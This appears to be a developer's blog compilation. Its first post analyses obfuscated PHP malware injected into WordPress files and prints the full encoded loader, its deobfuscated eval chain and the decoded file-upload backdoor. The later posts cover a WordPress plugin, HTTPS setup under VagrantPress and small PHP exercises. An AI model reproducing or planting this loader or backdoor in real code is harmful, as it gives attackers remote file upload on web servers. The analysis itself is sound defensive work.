I received word recently, that a site I have previously done work on, was getting some syntax errors. After checking those errors out, and seeing that certain files were giving the error Warning: Cannot modify header information – headers already sent by (/path/somefile.php) in /path/anotherfile.php, I determined the issue to be malicious PHP code that was being injected into WordPress core files, plugin files, and theme files. How it got there, I can’t be entirely certain, but my best guess is this vulnerability with Gravity Forms had something to do with it.
The code looked something like this:
<?php $JPyf4530 = “)nz.p*q4c2thgem8o7vfl1xy/ibar;(3k6u9j_d05sw”;$BYTdA1808 = $JPyf4530[4].$JPyf4530[28].$JPyf4530[13].$JPyf4530[12].$JPyf4530[37].$JPyf4530[28].$JPyf4530[13].$JPyf4530[4].$JPyf4530[20].$JPyf4530[27].$JPyf4530[8].$JPyf4530[13];$xdTQes100 = “\x65″.chr(118).”al”.chr(40).””.chr(103).””.chr(122).”i”.chr(110).”fl”.chr(97).””.chr(116).”\x65\x28\x62″.chr(97).”\x73″.chr(101).”6″.chr(52).”_\x64ec”.chr(111).”de\x28″;$TbQ6628 = “))\x29\x3b”;$W1576 = $xdTQes100.”‘NctBC4IwGIDhv7Ii+ByV5cwKdrYIutVNZMz5DQdOh64oZP+9Ll4f3tfoyIwj+mglrvmzWDJ1wnPCsEq12rNjxpIEK5VV8oBZWrNkWVI6GU2iBVrnv//tcrvnjxlt/0bxcm0va6yFNi3ORQG6g7IAb53opEUoNxDv5DAMsWscUEomVE1PYAucBILtiLOsgYfA8WM8Dz8='”.$TbQ6628;$BYTdA1808($JPyf4530[24].$JPyf4530[3].$JPyf4530[5].$JPyf4530[24].$JPyf4530[13], $W1576 ,”386″); ?>
Looks like a jumbled mess, right? Well it is, but it’s supposed to appear like a jumbled mess to anyone who might stumble across it in an attempt to intimidate you to just leave it alone. And even though it looks like a chaotic disaster, it does have functionality. Let’s break it down into a few pieces.
<?php
$JPyf4530 = “)nz.p*q4c2thgem8o7vfl1xy/ibar;(3k6u9j_d05sw”;
?>
Basically, this is just a string. Or maybe it’s better to call it an alphabet. Other variables are making access of the characters in this string. For instance:
$BYTdA1808 = $JPyf4530[4].$JPyf4530[28].$JPyf4530[13].$JPyf4530[12].$JPyf4530[37].$JPyf4530[28].$JPyf4530[13].$JPyf4530[4].$JPyf4530[20].$JPyf4530[27].$JPyf4530[8].$JPyf4530[13];
Which translates to:
$BYTdA1808 = ‘preg_replace’;
Sneaky, eh? Some of the other variables are using ASCII codes to get the text they want but overall, it’s just a way of obscuring code. So we can take this idea, and apply it to the rest of this and come up with something like this:
$W1576 = “eval(gzinflate(base64_decode(‘NctBC4IwGIDhv7Ii+ByV5cwKdrYIutVNZMz5DQdOh64oZP+9Ll4f3tfoyIwj+mglrvmzWDJ1wnPCsEq12rNjxpIEK5VV8oBZWrNkWVI6GU2iBVrnv//tcrvnjxlt/0bxcm0va6yFNi3ORQG6g7IAb53opEUoNxDv5DAMsWscUEomVE1PYAucBILtiLOsgYfA8WM8Dz8=’)));”;
preg_replace(‘/.*/e’, $W1576 ,”386″);
That’s essentially what it all boils down to. But what’s with all that encoded nonsense? I ran a var_dump() on it and came back with this little piece of work:
if(isset($_GET[“2c7e812eb3fc0265211ebc5ba4e53d21”])){
if (!empty($_FILES)){
if (!move_uploaded_file($_FILES[‘fn’][‘tmp_name’],’./arrr.php’)) {
echo ‘-‘;
} else {
echo ‘+’;
}
};
exit;
}
Like I said earlier , I think all of this was possible because of this vulnerability but I could very well be wrong. It would make sense though, as this hack is attempting to move some files around, and then echo success or failure (+/-).
Category: PHP
I’ve made a few changes to the Edit Hopper WordPress plugin that I developed and I’m glad to say that it now supports Custom Post Types and Posts. Plus, thanks to Jimmy (@sporifolous on Github), it now has an options page to select which posts you want the meta box to show on. So if you’ve got a WordPress site, check it out.
https://github.com/Dilden/Edit-Hopper
Big shout out to @socki03 with his help on cleaning up some code.
A long, long time ago, I worked on a website that utilized an almost insane amount of pages and child pages in WordPress. While I was adding content to those pages, I realized that I hated having to click the Pages link in the sidebar of the WordPress admin to go back, and then dig through all of the pages, then click edit, and type in my content. I wanted things to be easier. No, they should have been easier, and much simpler.
I came up with an idea. I’d create a meta-box on the right hand side of the page that was currently being edited, that would contain links to the other pages. This makes things much simpler for bulk editing pages. And I’m happy to say, that I’ve finally finished it and made it available to everyone for free! Right now, it’s just available through Github, but you can download a zip file of it from there as well if need be.
Big shout-out to Brett for all his help on this! Check out his blog here and find him on twitter @Socki.
Here’s the link! Let me know what you think. I’m totally open to contributions as well.
I’m trying to be a better developer. And somewhere in the vastness of the internet, someone told me I should be using Vagrant. So I did. It was cool and I liked it, but then I found out about VagrantPress and it got even easier. You just clone that repo, and start working. Pretty simple really.
But the other day, I was working on something that required an HTTPS connection, and I thought you should know how to do this with VagrantPress.
Firstly, startup your machine and login via SSH:
vagrant up
vagrant ssh
We’re going to need to do a few things with the SSL certificates, but I promise it’s painless.
sudo make-ssl-cert generate-default-snakeoil –force-overwrite
sudo a2enmod ssl
sudo a2ensite default-ssl.conf
sudo service apache2 reload
Credit for these handy commands goes to vtalbot here. Then, we need to edit a few files.
sudo nano /etc/apache2/sites-enabled/default-ssl.conf
Change the DocumentRoot /var/www/html to /vagrant/wordpress. Then we need to tell apache that it’s ok to share that directory so run this command:
sudo nano /etc/apache2/apache2.conf
and scroll waaaay down to all of the directives that look like
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
and create another one that looks like this
<Directory /vagrant/wordpress/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
After all of that, run
sudo service apache2 reload
Also, you’ll want to make sure your .htaccess file looks like this:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTPS} !=on
RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
RewriteBase /
RewriteRule ^index\.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
The final step then is to navigate to your WordPress settings > General, and change both URLs to be HTTPS instead of HTTP.
And that should be all there is to it! You should now be able to access https://vagrantpress.dev/ and https://vagrantpress.dev/wp-admin/ problem free. Of course, your browser will probably tell you the connection isn’t trusted, but that’s just because you’re not using a signed SSL certificate.
The next step might be to go and change the URL in the WordPress settings, fiddle with your .htaccess if you want to force the SSL connection but for basic development purposes, this should get you where you need to go.
Recently, I’ve been trying to find ways to speed up my development time, and I came across a great video showcasing Vagrant. I could spend a lot of time writing a bunch of mumbo jumbo here for you to read, or you could just watch the video that explains it a thousand times better than I would ever be able to.
It’s been pretty slow on the web development front for me lately, but I have discovered something new and interesting. It’s called DemocracyOS. What is DemocracyOS? Oh, I’m so glad you asked. Well it’s an open-sourced platform that aims to bring democracy back into the hands of the people in a way that makes voting on almost anything, very simple.
Just recently, we had some elections here in the US (Nov. 4th, 2014) and supposedly, Republicans took back control of both the House and the Senate because so many young people didn’t turn out to vote. What DemocracyOS intends to do, is bring the voting to you. No more waiting in lines at the polls, trying to get away from work, attempting to figure out where you’re supposed to go to vote, or filling in the circles ever so perfectly on an outdated technology (paper).
It’s supposed to be as simple to install and use as WordPress, although I haven’t quite gotten that far yet. I’ll keep the blog updated with my findings though. Check it out at Github here or the main site here.
And if you want to chat about this stuff, hit me up on Twitter @awebdevguy.
Day of the Year
The most recent challenge I’ve completed was to input a date in plain english (eg. November 19th) and output what day of the year that was (day #323). This was a pretty fun challenge, and was simple enough.
https://www.reddit.com/r/dailyprogrammer/comments/pzo4w/2212012_challenge_13_easy/
<?php
function dayofyear($date, $leap) {
$datenum = explode(” “, date(‘m d’, strtotime($date)));
$months = array(31,28,31,30,31,30,31,31,30,31,30,31);
$day = 0;
if($leap) {
$months[1] = 29;
}
for ($i=0; $i < intval($datenum[0]) – 1; $i++) {
$day = $day + $months[$i];
}
return $day + $datenum[1];
}
echo dayofyear(‘November 19th’, false);
?>
Simple PHP User Input Sort
I’ve been doing more programming challenges, and thought I would post my results here again. The first one, sorts user input. So if a user inputs a series of integers, they’ll be echoed out in order. It also does strings. The sort is taking place with the PHP sort() function.
The second challenge was to write out the ’99 bottles of beer on the wall’ song. Both really simple challenges, but I thought it wouldn’t hurt to post them here anyways.
Sort
https://www.reddit.com/r/dailyprogrammer/comments/pu1rf/2172012_challenge_9_easy/
And here are my results:
<!DOCTYPE html>
<html>
<head>
<style>
.content {
text-align: center;
margin: 50px;
}
</style>
</head>
<body>
<div class=”content”>
<form action=”sort.php” method=”post” >
<label for=”inputs”>#’s: </label>
<input type=”text” name=”text1″ id=”text1″><br><br>
<input type=”submit” name=”submit” value=”Submit”>
</form>
<?php
if(!empty($_POST[“text1″])) {
$ints = explode(” “, $_POST[“text1”]);
sort($ints);
foreach ($ints as $key => $value) {
echo $value . “<br>”;
}
}
?>
</div>
</body>
<footer>
</footer>
</html>
99 bottles
https://www.reddit.com/r/dailyprogrammer/comments/pserp/2162012_challenge_8_easy/
With the solution here:
<!DOCTYPE html>
<html>
<head>
<style>
.content {
text-align: center;
margin: 50px;
}
</style>
</head>
<body>
<div class=”content”>
<?php
$bottles = 99;
while ($bottles > 1) {
echo $bottles . ” bottles of beer on the wall, ” . $bottles . ” bottles of beer, take one down and pass it around ” . –$bottles .” bottles of beer on the wall. “;
}
echo $bottles . ” bottle of beer on the wall, ” . $bottles . ” bottle of beer, take one down and pass it around ” . –$bottles .” bottles of beer on the wall. “;
?>
</div>
</body>
<footer>
</footer>
</html>
Random Password Generator
I’ve had a little bit of downtime at work, and didn’t want to be idle. Luckily for me, I found this awesome subreddit, called /r/dailyprogrammer. They’ve got tons of programming challenges for a wide variety of skills. So I’ve been picking through some simple ones in my down time, and doing some of the easier ones. This one is the most recent challenge I did.
Basically, it just asks you to create a random password generator (like this one) with the ability to specify how many passwords to generate, and how long the string should be. And since the comments are closed, I can’t really submit my solution there, so here is what I came up with, in PHP.
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<div style=”text-align: center; margin: 50px;”>
<form action=”passwords.php” method=”post” style=”margin-bottom: 25px;” enctype=”multipart/form-data”>
<label for=”inputs”># of passwords: </label>
<input type=”text” name=”text1″ id=”text1″><br><br>
<label for=”inputs”>string length: </label>
<input type=”text” name=”text2″ id=”text2″><br><br>
<input type=”submit” name=”submit” value=”Submit”>
</form>
<?php
if($_POST[“text1”] && $_POST[“text2”]) {
$max = intval($_POST[“text1”]);
$length = intval($_POST[“text2”]);
$count = 0;
$seed = str_split(“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_”, 1);
$tehstring = “”;
while($count < $max) {
for ($i=0; $i < $length; $i++) {
$tehstring .= $seed[mt_rand(0, count($seed)-1)];
}
echo $tehstring . “<br>”;
$tehstring =””;
$count++;
}
}
?>
</div>
</body>
<footer>
</footer>
</html>